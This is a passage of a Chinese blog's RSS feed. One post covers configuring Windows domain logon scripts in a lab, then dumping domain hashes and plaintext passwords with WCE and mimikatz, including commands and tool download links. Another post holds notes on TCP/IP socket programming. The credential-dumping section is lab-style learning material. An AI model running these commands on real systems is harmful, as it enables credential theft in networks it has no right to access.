&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-196a918233eeb457.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;WinXP&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d0fce06d29155c47.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;WinServer2012&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;通过组策略设置域用户登录和注销脚本&quot;&gt;通过组策略设置域用户登录和注销脚本&lt;/h1&gt;
&lt;p&gt;在WinServer2012命令行运行&lt;code class=&quot;highlighter-rouge&quot;&gt;gpmc.msc&lt;/code&gt;命令来启动启动“组策略管理编辑器”&lt;/p&gt;

&lt;p&gt;在“组策略管理编辑器”左侧导航树上选择 “Default Domain Policy” -&amp;gt; 右键“编辑”-&amp;gt;用户配置 -&amp;gt; 策略 -&amp;gt; Windows 设置 -&amp;gt; 脚本（登录/注销）&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-0de13200ed81a9db.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;步骤一&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-02c6bb0478cebcee.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;步骤二&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-1f13107306c4d958.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;步骤三&quot; /&gt;&lt;/p&gt;

&lt;p&gt;双击 “登录”，在 “登录” 属性中添加上面的脚本。这里可以先在属性窗口的下部使用“显示文件”来查看默认脚本文件都放在什么地方，比如，在我的环境下是：&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\\hiro.com\sysvol\hiro.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\User\Scripts\Logon
\\hiro.com\sysvol\hiro.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\User\Scripts\Logoff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;将脚本放入上面的两个文件夹
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-424ee10992112ccd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;登录脚本&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a61277419e048e55.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;注销脚本&quot; /&gt;&lt;/p&gt;

&lt;p&gt;登录脚本代码：&lt;code class=&quot;highlighter-rouge&quot;&gt;Load.vbs&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MsgBox &quot;Good morning&quot;, 48, &quot;Title&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;退出脚本代码：&lt;code class=&quot;highlighter-rouge&quot;&gt;Exit.vbs&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MsgBox &quot;Bye Bye!&quot;, 64, &quot;Title&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;点击添加，将脚本的路径和文件名添加到登录属性的脚本
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-323cba1ac6aef279.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;添加登录脚本&quot; /&gt;&lt;/p&gt;

&lt;p&gt;当域用户开机时，将出现如下窗口：
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ce972373ca8f4b0c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;登录脚本运行&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;“注销” 脚本和 “登录” 脚本类似。&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;抓取域控和域用户hash&quot;&gt;抓取域控和域用户hash&lt;/h1&gt;
&lt;h2 id=&quot;使用wce抓取hash&quot;&gt;使用wce抓取hash&lt;/h2&gt;
&lt;p&gt;wce下载链接：
https://pan.baidu.com/s/1CxnyQCcTuUbFthQbMrjYaA 提取码: jkgj&lt;/p&gt;

&lt;p&gt;以管理员运行cmd，切换到wce所在目录，输入命令&lt;code class=&quot;highlighter-rouge&quot;&gt;wce -l&lt;/code&gt;即可
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-737070b7dc69546d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;使用wce抓取hash&quot; /&gt;&lt;/p&gt;

&lt;p&gt;第一行为域控(Win Server 2012)hash
第二行为域用户(WinXP)hash&lt;/p&gt;

&lt;h2 id=&quot;使用mimikatz抓取hash&quot;&gt;使用mimikatz抓取hash&lt;/h2&gt;
&lt;p&gt;链接: https://pan.baidu.com/s/1N7Mml-LaoL8GF18JAlDZ0Q 提取码: 4cyy&lt;/p&gt;

&lt;p&gt;mimikatz作为老牌的黑客工具已经升级到2.0的版本了，其中破解密码的功能也是非常方便，但对于杀软的防御也较弱，如果完全控制机器，关闭杀软也可，在msf中也要mimikatz的模块也可以在渗透中较为方便的获得密码&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mimikatz# privilege::debug  //提升权限
mimikatz# sekurlsa::logonpasswords  //抓取密码
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-7e785ea4d8b831de.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;使用mimikatz抓取hash&quot; /&gt;&lt;/p&gt;

&lt;p&gt;这个工具抓取的信息非常全面，甚至抓取到了明文密码&lt;/p&gt;
</description>
        <pubDate>Sat, 20 Oct 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/10/20/%E9%85%8D%E7%BD%AEWindows-Server-2012%E5%9F%9F%E6%8E%A7%E7%8E%AF%E5%A2%83/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/10/20/%E9%85%8D%E7%BD%AEWindows-Server-2012%E5%9F%9F%E6%8E%A7%E7%8E%AF%E5%A2%83/</guid>
        
        <category>web安全</category>
        
        
      </item>
    
      <item>
        <title>网络编程技术(未完待续)</title>
        <description>&lt;h1 id=&quot;第一章-tcpip简介&quot;&gt;第一章 TCP/IP简介&lt;/h1&gt;
&lt;h2 id=&quot;基本的cs服务模型&quot;&gt;基本的C/S服务模型&lt;/h2&gt;
&lt;p&gt;网络编程是指编写的网络通信程序可以与网络上的其他程序进行通信。&lt;/p&gt;
&lt;h2 id=&quot;tcpip四层结构&quot;&gt;TCP/IP四层结构&lt;/h2&gt;
&lt;p&gt;网络接口层&lt;/p&gt;

&lt;p&gt;网际层负责相邻互联网上的不同主机之间的通信，主要包括IPv4、ICMP、RIP、IGMP&lt;/p&gt;

&lt;p&gt;传输层负责主机中两个进程之间的通信，主要包括TCP、UDP&lt;/p&gt;

&lt;p&gt;应用层直接为用户的应用进程提供服务&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;套接字编程就是应用层到传输层的接口(API)&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;tcp协议介绍&quot;&gt;TCP协议介绍&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;TCP(传输控制协议)是TCP/IP体系中面向连接的运输层协议，它可以保证数据可靠的传输。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;码元比特(6位)：分为6个标志，置1表示有效&lt;/p&gt;

&lt;p&gt;URG和紧急指针配合使用，发送紧急数据&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ACK指出确认字段是否有效&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PSH接收方应该尽快将这个报文提交给应用层&lt;/p&gt;

&lt;p&gt;RST重建连接&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SYN同步序号用来请求建立连接&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FIN用来释放连接&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;tcp连接建立与终止&quot;&gt;TCP连接建立与终止&lt;/h2&gt;

&lt;p&gt;TCP是面向连接的协议。TCP连接的建立和释放是&lt;strong&gt;每一次通信&lt;/strong&gt;中必不可少的过程。
TCP连接的建立需要经过&lt;strong&gt;三次数据传输&lt;/strong&gt;。也就是&lt;strong&gt;三次握手&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-6f514ceeb78427f3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;建立TCP连接&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;服务器准备好接收客户的连接请求 -&amp;gt; socket、bind、listen函数&lt;/li&gt;
  &lt;li&gt;客户主动打开 -&amp;gt; connect函数，SYN分节(用来请求建立连接)&lt;/li&gt;
  &lt;li&gt;服务器收到客户端发来的SYN分节后，必须发送ACK对其确认，同时发送SYN分节给客户端，表示接受客户端建立连接的请求 -&amp;gt; SYN分节，ACK(指出确认字段是否有效)&lt;/li&gt;
  &lt;li&gt;客户端发送ACK确认服务器的SYN -&amp;gt; ACK(指出确认字段是否有效)&lt;/li&gt;
  &lt;li&gt;连接建立成功&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-dd456d87fd296c6f.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;释放TCP连接&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;客户端主动关闭连接 -&amp;gt; close函数，FIN分节&lt;/li&gt;
  &lt;li&gt;服务器收到FIN分节后执行被动关闭，并关闭套接字 -&amp;gt; 发送ACK(对客户端的FIN分进行确认)，close函数，FIN分节&lt;/li&gt;
  &lt;li&gt;客户端接受到FIN分节后，发送ACK确认分节后，彻底关闭连接&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;tcp连接中的分组交换&quot;&gt;TCP连接中的分组交换&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-345e3a3bac8d354e.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;TCP连接中的分组交换&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;udp协议介绍&quot;&gt;UDP协议介绍&lt;/h2&gt;

&lt;p&gt;UDP(用户数据报协议)是面向无连接的服务，提供不可靠的数据传输。&lt;/p&gt;

&lt;h1 id=&quot;第二章-套接字编程简介&quot;&gt;第二章 套接字编程简介&lt;/h1&gt;
&lt;h2 id=&quot;套接字基础&quot;&gt;套接字基础&lt;/h2&gt;

&lt;p&gt;套接字是一种网络API(应用程序编程接口)，可以用它来开发网络程序&lt;/p&gt;

&lt;p&gt;套接字接口提供一种进程间通信的方法，使得在&lt;strong&gt;相同或不同的主机上&lt;/strong&gt;的进程能以相同的规范进行双向信息传送&lt;/p&gt;

&lt;p&gt;套接字接口是应用层到传输层的接口&lt;/p&gt;

&lt;h2 id=&quot;套接字类型&quot;&gt;套接字类型&lt;/h2&gt;

&lt;p&gt;套接字类型是指创建套接字的应用程序要使用的通信服务的类型。&lt;/p&gt;

&lt;p&gt;最常用的几种类型:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SOCK_STREAM:流式套接字，提供面向连接、可靠的数据传输服务，数据是按字节流、按照顺序收发，保证数据在传输过程中无丢失、无冗余。&lt;code class=&quot;highlighter-rouge&quot;&gt;TCP支持该套接字&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;SOCK_DGRAM:数据报套接字，提供面向无连接的服务，数据收发无序，不能保证数据的准确到达。&lt;code class=&quot;highlighter-rouge&quot;&gt;UDP支持该套接字&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;SOCK_RAW:原始套接字。允许对低于传输层的协议或物理网络直接访问，例如可以接收和发送ICMP报(网络层的协议)。常用于检测新的协议。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;套接字地址结构&quot;&gt;套接字地址结构&lt;/h2&gt;

&lt;h3 id=&quot;ipv4套接字地址结构&quot;&gt;IPv4套接字地址结构&lt;/h3&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;netinet/in.h&amp;gt;

typedef uint32_t in_addr_t; //无符号32位整数，IPv4地址
typedef uint16_t in_port_t; //无符号16位整数，TCP或UDP端口
typedef unsigned short sa_family_t; //套接字地址结构的地址族 unsigned short 0~65535字节

struct in_addr{
    in_addr_t s_addr; //s_addr成员存储的是网络字节序的32位IPv4地址
};

struct sockaddr_in{
    uint8_t sin_len; //长度成员，存储套接字地址结构的长度(一般不设置)
    sa_family_t sin_family; //sin_family是Internet地址族，在IPv4中是AF_INET
    in_port_t sin_port; //端口号，以网络字节序存储
    struct in_addr sin_addr; //是一个结构，该结构中的成员存储的才是IP地址
    char sin_zero[8]; //未使用，置0
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;举个例子：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;struct sockaddr_in ser;
ser.sin_addr给出的是一个存放地址的结构
ser.sin_addr.s_addr存储的是地址中的内容，也就是IP地址的值
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ipv6套接字地址结构&quot;&gt;IPv6套接字地址结构&lt;/h3&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;netinet/in.h&amp;gt;
typedef uint16_t in_port_t;
typedef unsigned short sa_family_t;

struct in6_addr{
    uint8_t s6_addr[16];
};

struct sockaddr_in6{
    uint8_t sin6_len; //长度成员
    sa_family_t sin6_family; //Internet地址族，在IPv6中是AF_INET6
    in_port_t sin6_port; //端口号，以网络字节序存储
    uint32_t sin6_flowinfo; //低24位是流量标号，下4位是优先级，再下4位保留
    struct in6_addr sin6_addr; //in6_addr结构中的s6_addr成员，存储的是网络字节序的128位IPv6地址
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;两种套接字地址结构的比较&quot;&gt;两种套接字地址结构的比较&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-d3e47802e08031cf.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;两种套接字地址结构的比较&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;通用套接字地址结构&quot;&gt;通用套接字地址结构&lt;/h3&gt;

&lt;p&gt;套接字地址结构作为参数传递给任一个套接字函数时，通常通过&lt;code class=&quot;highlighter-rouge&quot;&gt;指针&lt;/code&gt;来传递&lt;/p&gt;

&lt;p&gt;当套接字函数取得此参数时，参数中可能存放的是来自所支持的任何协议族的地址结构。因此在调用套接字函数时，需要将指向特定协议的地址结构的指针类型转换成指向通用的地址结构的指针。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;通用套接字地址结构&lt;/strong&gt;如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
struct sockaddr{
  uint8_t sa_len;
  sa_family_t sa_family;
  char sa_data[14];
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;套接字基本函数&quot;&gt;套接字基本函数&lt;/h2&gt;
&lt;h3 id=&quot;字节排序函数&quot;&gt;字节排序函数&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;广域网规定的网络字节序采用大端字节序&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;小端字节序：将低序字节存储在起始地址&lt;/li&gt;
  &lt;li&gt;大端字节序：将高序字节存储在起始地址&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwly1fwp61wwptpj30m309d7c5.jpg&quot; alt=&quot;小段字节序和大端字节序&quot; /&gt;&lt;/p&gt;

&lt;p&gt;将某给定主机所使用的字节序称为&lt;strong&gt;主机字节序&lt;/strong&gt;。为了使采用不同字节序的主机能够互相通信，TCP/IP协议规定了网络字节序。&lt;/p&gt;

&lt;p&gt;所有主机或路由器在发送IP数据包之前要首先将相应的信息转换成网络字节序。相应的，在接收数据包后，要将网络字节序转换成主机字节序。&lt;/p&gt;

&lt;p&gt;主机字节序和网络字节序之间的相互转换，要用到以下四个函数：&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;netinet/in.h&amp;gt;
uint16_t htons(uint16_t hosts);
uint32_t htonl(uint32_t hostl);
uint16_t ntohs(uint16_t nets);
uint32_t ntohl(uint32_t netl);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;在上述四个函数中，h代表主机host，n代表网network，s代表短整型short，l代表长整型long&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;htons：将16位的短整型数，从主机字节序转换成网络字节序&lt;/li&gt;
  &lt;li&gt;htonl：将32位的长整型数，从主机字节序转换成网络字节序&lt;/li&gt;
  &lt;li&gt;ntohs：将16位的短整型数，从网络字节序转换成主机字节序&lt;/li&gt;
  &lt;li&gt;ntohl：将32位的长整型数，从网路字节序转换成主机字节序&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;字节操纵函数&quot;&gt;字节操纵函数&lt;/h2&gt;
&lt;h3 id=&quot;以字母bbyte打头&quot;&gt;以字母b(byte)打头&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;
void bzero(void *dest, size_t len); //bzero函数将目标中指定数目的字节置为0，经常用此函数来对套接字地址结构进行初始化
void bcopy(const void *src, void *dest, size_t len); //bcopy函数将指定数目的字节从源拷贝到目标
int bcmp(const void *src, void *dest, size_t len); //bcmp函数比较源和目标两个字符串，若相同返回值为0，否则返回非0值
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;以memmemory打头&quot;&gt;以mem(memory)打头&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void *memset(void *dest, int x, size_t len); //将目标指定数目的字节置为值x
void *memcpy(void *dest, const void *src, size_t len); //将指定数目的字节从源拷贝到目标
int memcmp(const void *str1, const void *str2, size_t len); //比较两个字符串，若相同返回值为0，否则返回非0值。如果str1所指字节大于str2所指字节，则返回值大于0，否则返回值小于0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ip地址转换函数&quot;&gt;IP地址转换函数&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;用于字符串的IP和二进制值的IP相互转换&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;arpa/inet.h&amp;gt;
in_addr_t inet_addr(const char *str); 
int inet_aton(const char *str, struct in_addr *numstr);
char *inet_ntoa(struct in_addr inaddr);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;a代表ASCII串，n代表数值格式，是存在于套接字地址结构中的二进制值。&lt;/p&gt;

&lt;h3 id=&quot;inet_addr函数&quot;&gt;inet_addr函数&lt;/h3&gt;
&lt;p&gt;将字符串形式的IP地址转换成32位二进制值的IP地址。str指向字符串形式的IP地址。函数调用成功，返回值为32位二进制值的IP地址。&lt;/p&gt;

&lt;h3 id=&quot;inet_aton函数&quot;&gt;inet_aton函数&lt;/h3&gt;
&lt;p&gt;将字符串形式的IP地址转换成32位二进制值的IP地址。str指向字符串形式的IP地址。numstr指向转换后的32位网络字节序的IP地址。如果成功返回1，否则返回0&lt;/p&gt;

&lt;h3 id=&quot;inet_ntoa函数&quot;&gt;inet_ntoa函数&lt;/h3&gt;
&lt;p&gt;将一个32位网络字节序的二进制值的IP地址转换成相应的点分十进制的IP地址。这个函数的参数是一个结构，而不是指向结构的指针。该函数的返回值所指向的串留在静态内存中，所以函数是不可重入的&lt;/p&gt;

&lt;hr /&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;arpa/inet.h&amp;gt;
int inet_pton(int family, const char *str, void *numstr);
const char *inet_ntop(int family, const void *numstr, char *str, size_t len);

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;p代表地址的表达格式是ASCII串。n代表数值格式，是存在于套接字地址结构中的二进制值。&lt;/p&gt;

&lt;p&gt;这两个函数中的family参数，指的是操作地址的地址族，IPv4是AF_INET，IPv6是AF_INET6&lt;/p&gt;

&lt;h3 id=&quot;inet_pton函数&quot;&gt;inet_pton函数&lt;/h3&gt;
&lt;p&gt;将指针str所指的字符串形式的IP地址，转换成网络字节序的二进制值的IP地址，并用指针numstr存储。如果成功返回1，如果对于指定的family输入的字符串不是一个有效的表达格式，则返回值为0，出错返回-1&lt;/p&gt;

&lt;h3 id=&quot;inet_ntop函数&quot;&gt;inet_ntop函数&lt;/h3&gt;
&lt;p&gt;将numstr所指的二进制值的IP地址转换成字符串形式的IP地址，并用指针str存储。参数len是目标的大小，为了避免函数溢出其调用者的缓冲区。&lt;/p&gt;

&lt;h3 id=&quot;五个地址转换函数&quot;&gt;五个地址转换函数&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-64863076e4645e37.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;五个地址转换函数&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;isfdtype函数&quot;&gt;isfdtype函数&lt;/h3&gt;

&lt;p&gt;用于测试某个描述符是不是给定的类型&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/stat.h&amp;gt;
int isfdtype(int fd, int fdtype);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;isfdtype函数：测试描述符fd是不是fdtype参数指定的类型&lt;/p&gt;

&lt;p&gt;为了测试描述符是否是套接字描述符，fdtype参数应设为S_IFSOCK。例如：&lt;/p&gt;

&lt;p&gt;isfdtype(sockfd, S_IFSOCK);&lt;/p&gt;

&lt;h2 id=&quot;值-结果参数&quot;&gt;值-结果参数&lt;/h2&gt;

&lt;p&gt;当把套接字地址结构传递给套接字函数时，总是通过指针来传递的，即传递的是一个指向套接字地址结构的指针，结构的长度也可用参数传递。&lt;/p&gt;

&lt;p&gt;从进程到内核传递套接字地址结构的函数: &lt;code class=&quot;highlighter-rouge&quot;&gt;bind、connect、sendto&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在这三个函数的参数中都含有两个相似的参数，分别是指向套接字地址结构的指针及该地址结构的大小。例如:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;struct sockaddr_in ser;
bind(sockfd, (struct sockaddr *)&amp;amp;ser, sizeof(ser));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这里的bind函数将套接字地址结构和结构大小都传递给了内核，所以进程到内核拷贝的数据长度是确定的&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;从内核到进程传递套接字地址结构的函数: &lt;code class=&quot;highlighter-rouge&quot;&gt;accept、recvfrom、getsockname、getpeername&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这四个函数包含的两个参数分别是指向套接字地址结构的指针和指向套接字地址结构大小的指针。例如:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;struct sockaddr_in client;
socklen_t len;
len = sizeof(client);
accept(listenfd, (struct sockaddr *)&amp;amp;client, &amp;amp;len);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;由于accept函数中存放套接字地址结构长度的参数是个指针，那么在函数调用时，结构长度是个值，这个值告诉内核该结构的长度，使内核在写这个结构时不会越界。而当函数返回时，结构大小的值发生了变化，变成了内核在此结构中确切存储的数据长度。进程可以通过这个值得到内核写入多少信息到这个结构中。这种在参数传递的过程中，其值发生变化了的参数称为&lt;strong&gt;&lt;em&gt;值-结果参数&lt;/em&gt;&lt;/strong&gt;，内核和进程间的两种传递参数的方式如下图:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-c613cf7b4d76843d.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;内核和进程间传递参数&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;第三章-基本tcp套接字编程&quot;&gt;第三章 基本TCP套接字编程&lt;/h1&gt;
&lt;h2 id=&quot;31-tcp套接字编程&quot;&gt;3.1 TCP套接字编程&lt;/h2&gt;

&lt;p&gt;使用TCP套接字编程可以实现基于TCP/IP协议的面向连接的通信，它分为&lt;code class=&quot;highlighter-rouge&quot;&gt;服务器和客户端&lt;/code&gt;两部分:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-95f0943d07af7e4b.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;TCP客户/服务器的套接字函数&quot; /&gt;&lt;/p&gt;

&lt;p&gt;TCP套接字编程中，服务器端实现的步骤:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;使用socket()函数创建套接字&lt;/li&gt;
  &lt;li&gt;使用bind函数为创建的套接字绑定到指定的地址结构&lt;/li&gt;
  &lt;li&gt;listen()函数设置套接字为监听模式，使服务器进入被动打开的状态&lt;/li&gt;
  &lt;li&gt;接受客户端的连接请求，建立连接&lt;/li&gt;
  &lt;li&gt;接收、应答客户端的数据请求&lt;/li&gt;
  &lt;li&gt;终止连接&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;客户端实现的步骤:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;使用socket()函数创建套接字&lt;/li&gt;
  &lt;li&gt;调用connect()函数建立一个与TCP服务器的连接&lt;/li&gt;
  &lt;li&gt;发送数据请求，接收服务器的数据应答&lt;/li&gt;
  &lt;li&gt;终止连接&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;socket函数&quot;&gt;socket函数&lt;/h3&gt;

&lt;p&gt;为了执行网络I/O，无论是服务器还是客户端，首先必须调用socket函数，产生TCP套接字，作为TCP通信的传输端点&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
int socket(int family, int type, int protocol);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;socket函数中family参数指明协议族。type参数指明产生套接字的类型。protocol参数是协议标志，一般在调用socket函数时将其置为0，但如果是原始套接字，就需要为protocol指定一个常值。&lt;/p&gt;

&lt;p&gt;该函数调用成功，返回一个小的非负的整数值，它与文件描述符类似，这里称之为&lt;code class=&quot;highlighter-rouge&quot;&gt;套接字描述符&lt;/code&gt;，简称&lt;code class=&quot;highlighter-rouge&quot;&gt;套接字&lt;/code&gt;，之后的I/O操作都由该套接字完成。如果函数调用失败，则返回-1。&lt;/p&gt;

&lt;p&gt;family参数指明的协议族，确定了socket使用的协议类型，值通常为:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;AF_INET: IPv4协议&lt;/li&gt;
